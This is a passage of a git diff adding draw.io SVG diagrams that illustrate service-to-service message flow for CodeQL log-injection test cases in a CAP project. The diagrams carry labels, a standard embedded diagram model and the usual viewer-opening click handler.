+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 185px; margin-left: 313px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service1.on("send1")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="313" y="188" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service1.on("send1")</text>
+            </switch>
+        </g>
+        <rect x="453" y="140" width="235" height="160" rx="8" ry="8" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="473" y="170" width="205" height="110" rx="5.5" ry="5.5" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="617" y="140" width="70" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 155px; margin-left: 652px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="652" y="159" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Service2</text>
+            </switch>
+        </g>
+        <rect x="487" y="80" width="120" height="40" rx="6" ry="6" fill="#0390fc"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="502" y="85" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 100px; margin-left: 547px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">action:
+                                send2</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="547" y="104" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">action: send2</text>
+            </switch>
+        </g>
+        <path d="M 547 120 L 547 193.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 547 198.88 L 543.5 191.88 L 547 193.63 L 550.5 191.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="488" y="200" width="120" height="60" rx="9" ry="9" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 230px; margin-left: 489px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                <font style="font-size: 11px;">messageToPass: String</font>
+                            </div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="234" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">messageToPass: String</text>
+            </switch>
+        </g>
+        <rect x="548" y="170" width="130" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 185px; margin-left: 613px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2.on("send2")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="613" y="188" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service2.on("send2")</text>
+            </switch>
+        </g>
+        <path d="M 548 260 L 548 323.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 548 328.88 L 544.5 321.88 L 548 323.63 L 551.5 321.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="498" y="330" width="100" height="40" rx="6" ry="6" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 350px; margin-left: 499px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                STDOUT</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="353" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">STDOUT</text>
+            </switch>
+        </g>
+        <path d="M 243 260 L 243 350 L 418 350 L 418 60 L 547 60 L 547 72.13" fill="none"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke" />
+        <path d="M 547 78.88 L 542.5 69.88 L 547 72.13 L 551.5 69.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="262" y="320" width="140" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 335px; margin-left: 332px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2.send("send2")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="332" y="338" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service2.send("send2")</text>
+            </switch>
+        </g>
+        <rect x="0" y="50" width="100" height="40" rx="6" ry="6" fill="#0390fc"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 70px; margin-left: 1px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">Internal
+                                only</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="50" y="74" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Internal only</text>
+            </switch>
+        </g>
+    </g>
+    <switch>
+        <g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" />
+        <a transform="translate(0,-5)"
+            xlink:href="https://www.diagrams.net/doc/faq/svg-export-text-problems" target="_blank">
+            <text text-anchor="middle" font-size="10px" x="50%" y="100%">Text is not SVG - cannot
+                display</text>
+        </a>
+    </switch>
+</svg>
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.svg b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.svg
new file mode 100644
index 000000000..f7e61cce4
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.svg
@@ -0,0 +1,316 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"
+    width="689px" viewBox="-0.5 -0.5 689 371"
+    content="&lt;mxfile&gt;&lt;diagram id=&quot;8rw6_X1oGD0vQjmQSmuI&quot; name=&quot;Page-1&quot;&gt;&lt;mxGraphModel dx=&quot;577&quot; dy=&quot;371&quot; grid=&quot;1&quot; gridSize=&quot;10&quot; guides=&quot;1&quot; tooltips=&quot;1&quot; connect=&quot;1&quot; arrows=&quot;1&quot; fold=&quot;1&quot; page=&quot;1&quot; pageScale=&quot;1&quot; pageWidth=&quot;850&quot; pageHeight=&quot;1100&quot; math=&quot;0&quot; shadow=&quot;0&quot;&gt;&lt;root&gt;&lt;mxCell id=&quot;0&quot;/&gt;&lt;mxCell id=&quot;1&quot; parent=&quot;0&quot;/&gt;&lt;mxCell id=&quot;3&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;168&quot; y=&quot;170&quot; width=&quot;240&quot; height=&quot;160&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;5&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;188&quot; y=&quot;200&quot; width=&quot;210&quot; height=&quot;110&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;6&quot; value=&quot;Service1&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;338&quot; y=&quot;170&quot; width=&quot;70&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;8&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#0390fc;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;203&quot; y=&quot;110&quot; width=&quot;120&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;7&quot; value=&quot;action: send1&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;218&quot; y=&quot;115&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;10&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;exitX=0.5;exitY=1;exitDx=0;exitDy=0;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;150&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;230&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;11&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 11px;&amp;quot;&amp;gt;messageToPass: String&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;203&quot; y=&quot;230&quot; width=&quot;120&quot; height=&quot;60&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;12&quot; value=&quot;OData exposed&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#fc0356;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;20&quot; y=&quot;30&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;36&quot; value=&quot;&quot; style=&quot;edgeStyle=none;html=1;fontSize=11;&quot; parent=&quot;1&quot; source=&quot;13&quot; target=&quot;11&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry relative=&quot;1&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;13&quot; value=&quot;Service1.on(&amp;quot;send1&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;268&quot; y=&quot;200&quot; width=&quot;130&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;22&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;473&quot; y=&quot;170&quot; width=&quot;235&quot; height=&quot;160&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;23&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;493&quot; y=&quot;200&quot; width=&quot;205&quot; height=&quot;110&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;24&quot; value=&quot;Service2&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;637&quot; y=&quot;170&quot; width=&quot;70&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;25&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#fc0356;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;507&quot; y=&quot;110&quot; width=&quot;120&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;26&quot; value=&quot;action: send2&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;522&quot; y=&quot;115&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;27&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;exitX=0.5;exitY=1;exitDx=0;exitDy=0;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;150&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;230&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;28&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 11px;&amp;quot;&amp;gt;messageToPass: String&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;508&quot; y=&quot;230&quot; width=&quot;120&quot; height=&quot;60&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;29&quot; value=&quot;Service2.on(&amp;quot;send2&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;568&quot; y=&quot;200&quot; width=&quot;130&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;30&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;fontSize=11;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;568&quot; y=&quot;290&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;568&quot; y=&quot;360&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;33&quot; value=&quot;STDOUT&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;518&quot; y=&quot;360&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;34&quot; value=&quot;&quot; style=&quot;edgeStyle=segmentEdgeStyle;endArrow=classic;html=1;curved=0;rounded=0;endSize=8;startSize=8;sourcePerimeterSpacing=0;targetPerimeterSpacing=0;fontSize=11;entryX=0.5;entryY=0;entryDx=0;entryDy=0;exitX=0.5;exitY=1;exitDx=0;exitDy=0;&quot; parent=&quot;1&quot; source=&quot;11&quot; target=&quot;25&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;268&quot; y=&quot;290&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;566&quot; y=&quot;100&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;380&quot;/&gt;&lt;mxPoint x=&quot;438&quot; y=&quot;380&quot;/&gt;&lt;mxPoint x=&quot;438&quot; y=&quot;90&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;90&quot;/&gt;&lt;/Array&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;35&quot; value=&quot;Service2.send(&amp;quot;send2&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;282&quot; y=&quot;350&quot; width=&quot;140&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;RCpADzFrx02nEt8xdn7a-36&quot; value=&quot;Internal only&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#0390fc;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;20&quot; y=&quot;80&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;39&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; edge=&quot;1&quot; parent=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;60&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;110&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;40&quot; value=&quot;Outside actor&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; vertex=&quot;1&quot; parent=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;523&quot; y=&quot;35&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;/root&gt;&lt;/mxGraphModel&gt;&lt;/diagram&gt;&lt;/mxfile&gt;"
+    onclick="(function(svg){var src=window.event.target||window.event.srcElement;while (src!=null&amp;&amp;src.nodeName.toLowerCase()!='a'){src=src.parentNode;}if(src==null){if(svg.wnd!=null&amp;&amp;!svg.wnd.closed){svg.wnd.focus();}else{var r=function(evt){if(evt.data=='ready'&amp;&amp;evt.source==svg.wnd){svg.wnd.postMessage(decodeURIComponent(svg.getAttribute('content')),'*');window.removeEventListener('message',r);}};window.addEventListener('message',r);svg.wnd=window.open('https://viewer.diagrams.net/?client=1&amp;page=0&amp;edit=_blank');}}})(this);"
+    style="cursor:pointer;max-width:100%;max-height:371px;">
+    <defs />
+    <g>
+        <rect x="148" y="140" width="240" height="160" rx="8" ry="8" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="168" y="170" width="210" height="110" rx="5.5" ry="5.5" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="318" y="140" width="70" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 155px; margin-left: 353px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service1</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="353" y="159" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Service1</text>
+            </switch>
+        </g>
+        <rect x="183" y="80" width="120" height="40" rx="6" ry="6" fill="#0390fc"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="198" y="85" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 100px; margin-left: 243px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">action:
+                                send1</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="104" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">action: send1</text>
+            </switch>
+        </g>
+        <path d="M 243 120 L 243 193.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 243 198.88 L 239.5 191.88 L 243 193.63 L 246.5 191.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="183" y="200" width="120" height="60" rx="9" ry="9" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 230px; margin-left: 184px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                <font style="font-size: 11px;">messageToPass: String</font>
+                            </div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="234" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">messageToPass: String</text>
+            </switch>
+        </g>
+        <rect x="0" y="0" width="100" height="40" rx="6" ry="6" fill="#fc0356" stroke="rgb(0, 0, 0)"
+            pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 20px; margin-left: 1px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">OData
+                                exposed</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="50" y="24" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">OData exposed</text>
+            </switch>
+        </g>
+        <rect x="248" y="170" width="130" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 185px; margin-left: 313px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
